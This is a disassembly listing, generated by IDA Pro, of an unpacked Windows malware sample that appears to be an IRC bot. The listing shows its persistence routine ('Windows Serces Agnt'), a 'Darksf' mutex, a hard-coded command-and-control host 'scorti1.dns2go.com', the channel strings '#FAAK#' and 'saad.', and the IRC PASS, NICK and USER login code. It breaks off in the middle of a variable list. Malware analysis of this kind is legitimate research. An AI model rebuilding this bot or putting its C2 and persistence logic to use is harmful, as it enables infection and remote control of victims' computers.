;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F083EBF2B4A0A86C7E6ADF55DD36193B

; File Name   :	u:\work\f083ebf2b4a0a86c7e6adf55dd36193b_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 268024Eh
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aDarksf	; "Darksf"
		push	ebx
		push	ebx
		nop
		call	near ptr 26B069Fh
		push	eax
		call	near ptr 26B061Ah
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 26B050Eh
		nop
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26B049Bh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 26B03C7h
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 26A0CA7h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 26A044Bh
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26B03C7h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 26A0C74h
		nop
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		nop
		call	near ptr 26A072Ah
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 268024Eh
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 26A044Bh
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26B061Ah
		push	esi
		nop
		call	near ptr 2680000h
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26A044Bh
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		nop
		call	near ptr 26A065Fh


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 26A0CA7h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 26A044Bh
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26A044Bh
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		call	near ptr 26A044Bh
		nop


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
